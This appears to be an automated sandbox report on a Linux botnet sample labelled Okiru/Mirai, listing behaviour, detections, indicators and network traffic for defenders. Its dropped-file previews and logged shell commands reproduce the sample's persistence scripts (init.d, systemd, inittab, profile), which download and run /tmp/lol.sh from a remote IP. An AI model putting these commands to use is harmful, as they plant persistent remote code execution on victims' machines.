Source: /tmp/x86_32.nn.elf (PID: 5484)	File opened: /proc/5521/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5484)	File opened: /proc/5519/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5484)	File opened: /proc/5511/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5484)	File opened: /proc/5599/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5484)	File opened: /proc/5610/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5484)	File opened: /proc/5512/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5484)	File opened: /proc/5513/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5484)	File opened: /proc/5514/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5484)	File opened: /proc/319/cmdline	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5484)	File opened: /proc/5515/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5484)	File opened: /proc/5537/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5484)	File opened: /proc/5516/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5484)	File opened: /proc/5517/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5484)	File opened: /proc/5518/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5484)	File opened: /proc/5595/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5484)	File opened: /proc/5596/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5484)	File opened: /proc/5597/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5484)	File opened: /proc/5510/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5484)	File opened: /proc/5598/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5484)	File opened: /proc/5508/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5484)	File opened: /proc/5607/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5484)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5484)	File opened: /proc/5509/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5484)	File opened: /proc/5608/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5484)	File opened: /proc/5609/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5484)	File opened: /proc/5522/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5484)	File opened: /proc/5523/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5484)	File opened: /proc/5600/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5484)	File opened: /proc/5524/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5484)	File opened: /proc/5601/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5484)	File opened: /proc/5503/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5484)	File opened: /proc/5525/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5484)	File opened: /proc/5602/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5484)	File opened: /proc/5526/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5484)	File opened: /proc/5603/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5484)	File opened: /proc/5527/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5484)	File opened: /proc/5604/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5484)	File opened: /proc/5605/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5484)	File opened: /proc/5606/status	Jump to behavior

Source: /tmp/x86_32.nn.elf (PID: 5449)	Shell command executed: sh -c "systemctl enable custom.service >/dev/null 2>&1"	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5471)	Shell command executed: sh -c "chmod +x /etc/init.d/system >/dev/null 2>&1"	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5473)	Shell command executed: sh -c "ln -s /etc/init.d/system /etc/rcS.d/S99system >/dev/null 2>&1"	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5475)	Shell command executed: sh -c "echo \"#!/bin/sh\n# /etc/init.d/sh\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting sh'\n /bin/sh &\n wget http://94.156.227.233/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping sh'\n killall sh\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start\|stop\|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/sh"	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5476)	Shell command executed: sh -c "chmod +x /etc/init.d/sh >/dev/null 2>&1"	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5478)	Shell command executed: sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1"	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5480)	Shell command executed: sh -c "ln -s /etc/init.d/sh /etc/rc.d/S99sh >/dev/null 2>&1"	Jump to behavior

Source: /bin/sh (PID: 5472)	Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/system			Jump to behavior
Source: /bin/sh (PID: 5477)	Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/sh			Jump to behavior

Source: /bin/sh (PID: 5479)

Mkdir executable: /usr/bin/mkdir -> mkdir -p /etc/rc.d

Jump to behavior

Source: /bin/sh (PID: 5455)

Systemctl executable: /usr/bin/systemctl -> systemctl enable custom.service

Jump to behavior

Source: /tmp/x86_32.nn.elf (PID: 5432)	File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /usr/bin/chmod (PID: 5472)	File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /usr/bin/chmod (PID: 5477)	File: /etc/init.d/sh (bits: - usr: rx grp: rx all: rwx)	Jump to behavior

Source: /tmp/x86_32.nn.elf (PID: 5432)	Writes shell script file to disk with an unusual file extension: /etc/init.d/system	Jump to dropped file
Source: /tmp/x86_32.nn.elf (PID: 5432)	Writes shell script file to disk with an unusual file extension: /etc/rc.local	Jump to dropped file
Source: /bin/sh (PID: 5475)	Writes shell script file to disk with an unusual file extension: /etc/init.d/sh	Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Drops files in suspicious directories

Source: /tmp/x86_32.nn.elf (PID: 5432)	File: /etc/init.d/system			Jump to dropped file
Source: /bin/sh (PID: 5475)	File: /etc/init.d/sh			Jump to dropped file

Stealing of Sensitive Information

Yara detected Okiru

Source: Yara match	File source: x86_32.nn.elf, type: SAMPLE
Source: Yara match	File source: 5432.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: x86_32.nn.elf PID: 5432, type: MEMORYSTR

Remote Access Functionality

Yara detected Okiru

Source: Yara match	File source: x86_32.nn.elf, type: SAMPLE
Source: Yara match	File source: 5432.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: x86_32.nn.elf PID: 5432, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	2 Scripting	Valid Accounts	Windows Management Instrumentation	1 Unix Shell Configuration Modification	1 Unix Shell Configuration Modification	1 Masquerading	1 OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	1 Data Manipulation
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Systemd Service	1 Systemd Service	2 File and Directory Permissions Modification	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	2 Scripting	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	2 Application Layer Protocol	Traffic Duplication	Data Destruction

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Source	Detection	Scanner	Label	Link
x86_32.nn.elf	23%	Virustotal		Browse
x86_32.nn.elf	21%	ReversingLabs	Linux.Backdoor.Mirai
x86_32.nn.elf	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
/etc/init.d/sh	3%	ReversingLabs	Text.Browser.Generic
/etc/init.d/system	3%	ReversingLabs	Text.Browser.Generic
/etc/rc.local	0%	ReversingLabs

Name	IP	Active	Malicious	Antivirus Detection	Reputation
daisy.ubuntu.com	162.213.35.25	true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://94.156.227.233/lol.sh	x86_32.nn.elf, 5432.1.00000000ffe42000.00000000ffe63000.rw-.sdmp	false	high
http://94.156.227.233/oro1vk/usr/sbin/reboot/usr/bin/reboot/usr/sbin/shutdown/usr/bin/shutdown/usr/s	x86_32.nn.elf	false	high
http://94.156.227.233/	x86_32.nn.elf, profile.12.dr, system.12.dr, inittab.12.dr, sh.30.dr, bootcmd.12.dr, custom.service.12.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.125.190.26	unknown	United Kingdom		41231	CANONICAL-ASGB	false
94.156.227.234	unknown	Bulgaria		57463	NETIXBG	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
185.125.190.26	splarm6.elf	Get hash	malicious	Unknown	Browse
	zerppc.elf	Get hash	malicious	Unknown	Browse
	zerarm5.elf	Get hash	malicious	Unknown	Browse
	zermips.elf	Get hash	malicious	Unknown	Browse
	bot.arm.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse
	sh4.nn.elf	Get hash	malicious	Okiru	Browse
	jackmymips64.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	arm5.nn.elf	Get hash	malicious	Okiru	Browse
	arm.nn-20241223-1416.elf	Get hash	malicious	Okiru	Browse
	hidakibest.arm5.elf	Get hash	malicious	Gafgyt, Mirai	Browse
94.156.227.234	mipsel.nn.elf	Get hash	malicious	Okiru	Browse
	arm7.nn.elf	Get hash	malicious	Mirai, Okiru	Browse
	powerpc.nn.elf	Get hash	malicious	Okiru	Browse
	x86_32.nn.elf	Get hash	malicious	Okiru	Browse
	arm7.nn-20241224-0051.elf	Get hash	malicious	Mirai, Okiru	Browse
	sparc.nn.elf	Get hash	malicious	Okiru	Browse
	arm5.nn-20241224-0050.elf	Get hash	malicious	Okiru	Browse
	arm.nn-20241224-0050.elf	Get hash	malicious	Okiru	Browse
	mipsel.nn.elf	Get hash	malicious	Okiru	Browse
	powerpc.nn.elf	Get hash	malicious	Okiru	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
daisy.ubuntu.com	splarm6.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	jklarm6.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	arm.nn-20241224-0050.elf	Get hash	malicious	Okiru	Browse	162.213.35.24
	arm6.nn-20241224-0050.elf	Get hash	malicious	Okiru	Browse	162.213.35.25
	m68k.nn.elf	Get hash	malicious	Okiru	Browse	162.213.35.25
	sh4.nn.elf	Get hash	malicious	Okiru	Browse	162.213.35.25
	arm7.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	mipsel.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	arm6.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	jackmyi686.elf	Get hash	malicious	Gafgyt, Mirai	Browse	162.213.35.25

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CANONICAL-ASGB	mipsel.nn.elf	Get hash	malicious	Okiru	Browse	91.189.91.42
	nklarm6.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	splarm6.elf	Get hash	malicious	Unknown	Browse	185.125.190.26
	nabarm6.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	zerppc.elf	Get hash	malicious	Unknown	Browse	185.125.190.26
	zerarm5.elf	Get hash	malicious	Unknown	Browse	185.125.190.26
	zermips.elf	Get hash	malicious	Unknown	Browse	185.125.190.26
	zerm68k.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	zerarm6.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	armv4eb.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
NETIXBG	mipsel.nn.elf	Get hash	malicious	Okiru	Browse	94.156.227.234
	arm7.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	94.156.227.234
	powerpc.nn.elf	Get hash	malicious	Okiru	Browse	94.156.227.234
	x86_32.nn.elf	Get hash	malicious	Okiru	Browse	94.156.227.234
	arm7.nn-20241224-0051.elf	Get hash	malicious	Mirai, Okiru	Browse	94.156.227.234
	sparc.nn.elf	Get hash	malicious	Okiru	Browse	94.156.227.234
	arm5.nn-20241224-0050.elf	Get hash	malicious	Okiru	Browse	94.156.227.234
	arm.nn-20241224-0050.elf	Get hash	malicious	Okiru	Browse	94.156.227.234
	mipsel.nn.elf	Get hash	malicious	Okiru	Browse	94.156.227.234
	powerpc.nn.elf	Get hash	malicious	Okiru	Browse	94.156.227.234

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
/etc/init.d/sh	x86_32.nn.elf	Get hash	malicious	Okiru	Browse
	x86_64.nn.elf	Get hash	malicious	Okiru	Browse
	x86_64.nn.elf	Get hash	malicious	Okiru	Browse
	x86_32.nn.elf	Get hash	malicious	Okiru	Browse
	x86_32.nn.elf	Get hash	malicious	Okiru	Browse
	x86_64.nn.elf	Get hash	malicious	Okiru	Browse
	x86_64.nn.elf	Get hash	malicious	Mirai, Okiru	Browse
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse
	x86_64.nn.elf	Get hash	malicious	Mirai, Okiru	Browse
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse

Created / dropped Files

/boot/bootcmd

Download File

Process:	/tmp/x86_32.nn.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.663595298101345
Encrypted:	false
SSDEEP:	3:KPJRK+KFtSyLdjX48FIbILbaaFOdFXa5O:WJ8+KHSYZX48bbaaeXCO
MD5:	3290F4F4E0B77B577C59026DEF246CEE
SHA1:	C51EAE7170430B5697B881BE716280D1FAAA9147
SHA-256:	534E1753E7B5026C5F689F31942BD84E7869232A5CE24AE02B0A9647B3E2EDCD
SHA-512:	DFE561F390A0003C92D0528D418CADA2A84DD4585F838F4A37BDD1790C8B7E947AFD31B527E4F98AD55F49F4168F4574540CCFF2D2EE38BD2A3923DEB9FE6345
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	run bootcmd_mmc0; /bin/sh && wget http://94.156.227.233/ -O /tmp/lol.sh && chmod +x /tmp/lol.sh && /tmp/lol.sh.

/etc/init.d/sh

Download File

Process:	/bin/sh
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	355
Entropy (8bit):	4.416220583499086
Encrypted:	false
SSDEEP:	6:h2Rk8d/Kd6Nx/SNAjDTZX48bJaJFCwWBvM1FnwfUMdNfabwHeJdxL/RuYHdSOovl:QRkobNxaNoPUJgjvM1F5KN+dRRucSOyl
MD5:	4C835AF4434E28E5B56D8CDFA8EE753D
SHA1:	B18DA30B2DF68AE4C788540CED328CA545C02F42
SHA-256:	CA0FAC03BB49D9F40E83353A3C85D27B8AD800B8A77F88D1B43025148672E28D
SHA-512:	877B96464C5D6AF38B84F8BE6ECDDA74A9703AA298A897B2EF8DEC9E9B929ECA2E8324979A80033B0E334820B15275E51C1E60EC5A26A7B379A2D8DA5BAC6162
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Joe Sandbox View:	Filename: x86_32.nn.elf, Detection: malicious, Browse Filename: x86_64.nn.elf, Detection: malicious, Browse Filename: x86_64.nn.elf, Detection: malicious, Browse Filename: x86_32.nn.elf, Detection: malicious, Browse Filename: x86_32.nn.elf, Detection: malicious, Browse Filename: x86_64.nn.elf, Detection: malicious, Browse Filename: x86_64.nn.elf, Detection: malicious, Browse Filename: x86_32.nn.elf, Detection: malicious, Browse Filename: x86_64.nn.elf, Detection: malicious, Browse Filename: x86_32.nn.elf, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	#!/bin/sh.# /etc/init.d/sh..case "" in. start). echo 'Starting sh'. /bin/sh &. wget http://94.156.227.233/ -O /tmp/lol.sh. chmod +x /tmp/lol.sh. /tmp/lol.sh &. ;;. stop). echo 'Stopping sh'. killall sh. ;;. restart). sh stop. sh start. ;;. *). echo "Usage: sh {start\|stop\|restart}". exit 1. ;;.esac.exit 0.

/etc/init.d/system

Download File

Process:	/tmp/x86_32.nn.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	98
Entropy (8bit):	4.615605979741142
Encrypted:	false
SSDEEP:	3:TKH4v9+KFyFiLdjX48FIbILpaKB0dFLoKE0:h8KooZX48bzBeLXE0
MD5:	FE7F857A52EC42881A76D01D4A4A1C3C
SHA1:	6391FE715F06AB2D7E58D18A41ED3A358C7E820C
SHA-256:	20B80070DF0EDB6A011753C41051823E2F87C46A5493D6323BB5C023A19D2870
SHA-512:	4AA09F596ACE2DA18FE88DA2224681EAB2A4F77D005E2C67E97E9A0751C387F8DCCD8D1BB05644D75ED2F42959B6EE491D292F80CFEBB5D80EA5F0CE84C47816
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	moderate, very likely benign file
Preview:	#!/bin/sh./bin/sh &.wget http://94.156.227.233/ -O /tmp/lol.sh.chmod +x /tmp/lol.sh./tmp/lol.sh &.

/etc/inittab

Download File

Process:	/tmp/x86_32.nn.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	103
Entropy (8bit):	4.612417623467759
Encrypted:	false
SSDEEP:	3:nAWu5YFtSyLdjX48FIbILbaaFOdFXa5O:A6HSYZX48bbaaeXCO
MD5:	175C6814BBE06EB5816EFE3FE3934230
SHA1:	8C1A49BF7CA134E8AD0DDA70872367062BC600C5
SHA-256:	11CB198833B5FB514AF33682A7148F95AA28CAEA16908A27FA10D71DD272730E
SHA-512:	C1A6BC79D50EEED397A98329E7A2CD7486CBB36F9D3B25AEADA15473D10C31FC2F44D2029F5A174FC813E3BB6B974174850989BF2ADD642F4CD4F1D279B6B1F1
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	::respawn:/bin/sh && wget http://94.156.227.233/ -O /tmp/lol.sh && chmod +x /tmp/lol.sh && /tmp/lol.sh.

/etc/motd

Download File

Process:	/tmp/x86_32.nn.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	53
Entropy (8bit):	3.871459242626451
Encrypted:	false
SSDEEP:	3:yGKtARxFQFrgBJ4BJ+3e:dQ0EcHG2e
MD5:	2BD9B4BE30579E633FC0191AA93DF486
SHA1:	7D63A9BD9662E86666B27C1B50DB8E7370C624FF
SHA-256:	64DC39F3004DC93C9FC4F1467B4807F2D8E3EB0BFA96B15C19CD8E7D6FA77A1D
SHA-512:	AE6DD7B39191354CF43CF65E517460D7D4C61B8F5C08E33E6CA3C451DC7CAB4DE89F33934C89396B80F1AADE0A4E2571BD5AE8B76EF80B737D4588703D2814D5
Malicious:	false
Preview:	gorilla botnet is on the device ur not a cat go away.

/etc/profile

Download File

Process:	/tmp/x86_32.nn.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	94
Entropy (8bit):	4.486383977913608
Encrypted:	false
SSDEEP:	3:pKWNFyFiLdjX48FIbILbaaFOdFXa50:kKooZX48bbaaeXC0
MD5:	CEC61C0CDC61AB271C45B85281469388
SHA1:	E2DC08B86AC16A6A9BDA73D26DE0055528C647D9
SHA-256:	AE69256D9ACCEE8C05AFBF46267368A0DDB3E5C9C54D24CFB018A35FEF86C560
SHA-512:	71A65EB5CBBD53E395E8A2B392CB41E289874583C4A17E086498201C6078E5043B680B4971D1913863B2699626F05F63B0936BAFCE9A8F01C6DBAFEE5E93F2A7
Malicious:	true
Preview:	/bin/sh &.wget http://94.156.227.233/ -O /tmp/lol.sh && chmod +x /tmp/lol.sh && /tmp/lol.sh &.

/etc/rc.local

Download File

Process:	/tmp/x86_32.nn.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	10
Entropy (8bit):	3.121928094887362
Encrypted:	false
SSDEEP:	3:TKH4vn:hv
MD5:	3E2B31C72181B87149FF995E7202C0E3
SHA1:	BD971BEC88149956458A10FC9C5ECB3EB99DD452
SHA-256:	A8076D3D28D21E02012B20EAF7DBF75409A6277134439025F282E368E3305ABF
SHA-512:	543F39AF1AE7A2382ED869CBD1EE1AC598A88EB4E213CD64487C54B5C37722C6207EE6DB4FA7E2ED53064259A44115C6DA7BBC8C068378BB52A25E7088EEEBD6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#!/bin/sh.

/etc/systemd/system/custom.service

Download File

Process:	/tmp/x86_32.nn.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.064804988275458
Encrypted:	false
SSDEEP:	6:z8ifitRZAMzdK+Gs2+GWRdbZX48B+GWRo3UN2+GWRuLYACGX9LQmWA4Rv:zNitRZAOK+y+GWRdtd+GWRXY+GWRuL1I
MD5:	8156A50E9D158639626649BD134E7D5D
SHA1:	D95D108656621F4B4F82B93CA0694D66F4A2FEF4
SHA-256:	FB7F3B6DA55120E08AB0B9A9F4A9ECB1BB5D89BFD665EBE23C150FBFBC06E4D8
SHA-512:	DB79A871E5317E3B9A93FF84E71318F5ABC85EBDE7C9521DF35C20C0AD8251BEB3DB33673BE4F4FF2501256613C50128BA36323C0DECD348FF6CA8A73856BE10
Malicious:	false
Preview:	[Unit].Description=Custom Binary and Payload Service.After=network.target..[Service].ExecStart=/bin/sh.ExecStartPost=/usr/bin/wget -O /tmp/lol.sh http://94.156.227.233/.ExecStartPost=/bin/chmod +x /tmp/lol.sh.ExecStartPost=/tmp/lol.sh.Restart=on-failure..[Install].WantedBy=multi-user.target.

/memfd:snapd-env-generator (deleted)

Download File

Process:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
File Type:	ASCII text
Category:	dropped
Size (bytes):	76
Entropy (8bit):	3.7627880354948586
Encrypted:	false
SSDEEP:	3:+M4VMPQnMLmPQ9JEcwwbn:+M4m4MixcZb
MD5:	D86A1F5765F37989EB0EC3837AD13ECC
SHA1:	D749672A734D9DEAFD61DCA501C6929EC431B83E
SHA-256:	85889AB8222C947C58BE565723AE603CC1A0BD2153B6B11E156826A21E6CCD45
SHA-512:	338C4B776FDCC2D05E869AE1F9DB64E6E7ECC4C621AB45E51DD07C73306BACBAD7882BE8D3ACF472CAEB30D4E5367F8793D3E006694184A68F74AC943A4B7C07
Malicious:	false
Preview:	PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin.

Static File Info

General

File type:	ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.480524909504169
TrID:	ELF Executable and Linkable format (Linux) (4029/14) 50.16% ELF Executable and Linkable format (generic) (4004/1) 49.84%
File name:	x86_32.nn.elf
File size:	79'312 bytes
MD5:	7a8c8bd1879880b4910dc8511392a718
SHA1:	f10607e0a3e2fac1f00257ffccb9a1dc1c69ebaf
SHA256:	cbc99993ee3f76b86331fabc4929c8277a76a2d35c86af1982901e8b5f9b03ae
SHA512:	ee9d4252c913829f1de2ddcc03f2d11fadce33a5dd84461db3cbc7baf4e72991febe87804ef421531203efd2337adde53802ba9f545f3f31cb2a581e36978fe1
SSDEEP:	1536:pozGqITKhN63JFSBFIeRyUpGj9OCvcn/swKaNd1fcsjjuQ2BaK3Spw8:GzGq2KhNCJFSBFIeRyUE0nkwKaNdZcmF
TLSH:	0E735CC0E983E9F1EA461175153BA73ACF72F5BD1134EA17DB68A933F942600D61638C
File Content Preview:	.ELF....................d...4...@4......4. ...(......................)...)...............0...............)..........Q.td............................U..S.......w/...h........[]...$.............U......=.....t..5....$......$.......u........t....h............

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	Intel 80386
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8048164
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	78912
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8048094	0x94	0x1c	0x0	0x6	AX	1
.text	PROGBITS	0x80480b0	0xb0	0x102f6	0x0	0x6	AX	16
.fini	PROGBITS	0x80583a6	0x103a6	0x17	0x0	0x6	AX	1
.rodata	PROGBITS	0x80583c0	0x103c0	0x255c	0x0	0x2	A	32
.ctors	PROGBITS	0x805b000	0x13000	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x805b008	0x13008	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x805b020	0x13020	0x3e0	0x0	0x3	WA	32
.bss	NOBITS	0x805b400	0x13400	0x25e0	0x0	0x3	WA	32
.shstrtab	STRTAB	0x0	0x13400	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8048000	0x8048000	0x1291c	0x1291c	6.5842	0x5	R E	0x1000	.init .text .fini .rodata
LOAD	0x13000	0x805b000	0x805b000	0x400	0x29e0	5.3331	0x6	RW	0x1000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 24, 2024 05:27:49.933511019 CET	44546	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:27:50.197447062 CET	38242	44546	94.156.227.234	192.168.2.13
Dec 24, 2024 05:27:50.197494984 CET	44546	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:27:50.197518110 CET	44546	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:27:50.320272923 CET	38242	44546	94.156.227.234	192.168.2.13
Dec 24, 2024 05:27:50.713965893 CET	44546	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:27:50.876173973 CET	38242	44546	94.156.227.234	192.168.2.13
Dec 24, 2024 05:27:51.326879978 CET	38242	44546	94.156.227.234	192.168.2.13
Dec 24, 2024 05:27:51.326929092 CET	44546	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:27:51.717369080 CET	44548	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:27:51.836920977 CET	38242	44548	94.156.227.234	192.168.2.13
Dec 24, 2024 05:27:51.836977005 CET	44548	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:27:51.837028027 CET	44548	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:27:51.957324982 CET	38242	44548	94.156.227.234	192.168.2.13
Dec 24, 2024 05:27:52.351399899 CET	44548	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:27:52.512172937 CET	38242	44548	94.156.227.234	192.168.2.13
Dec 24, 2024 05:27:52.955116987 CET	38242	44548	94.156.227.234	192.168.2.13
Dec 24, 2024 05:27:52.955187082 CET	44548	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:27:53.354016066 CET	44550	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:27:53.473474026 CET	38242	44550	94.156.227.234	192.168.2.13
Dec 24, 2024 05:27:53.473535061 CET	44550	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:27:53.473632097 CET	44550	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:27:53.593034029 CET	38242	44550	94.156.227.234	192.168.2.13
Dec 24, 2024 05:27:54.088217020 CET	44550	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:27:54.248133898 CET	38242	44550	94.156.227.234	192.168.2.13
Dec 24, 2024 05:27:54.589328051 CET	38242	44550	94.156.227.234	192.168.2.13
Dec 24, 2024 05:27:54.589391947 CET	44550	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:27:55.089425087 CET	44552	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:27:55.208955050 CET	38242	44552	94.156.227.234	192.168.2.13
Dec 24, 2024 05:27:55.209017992 CET	44552	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:27:55.209058046 CET	44552	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:27:55.328663111 CET	38242	44552	94.156.227.234	192.168.2.13
Dec 24, 2024 05:27:55.714939117 CET	44552	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 05:27:55.880108118 CET	38242	44552	94.156.227.234	192.168.2.13
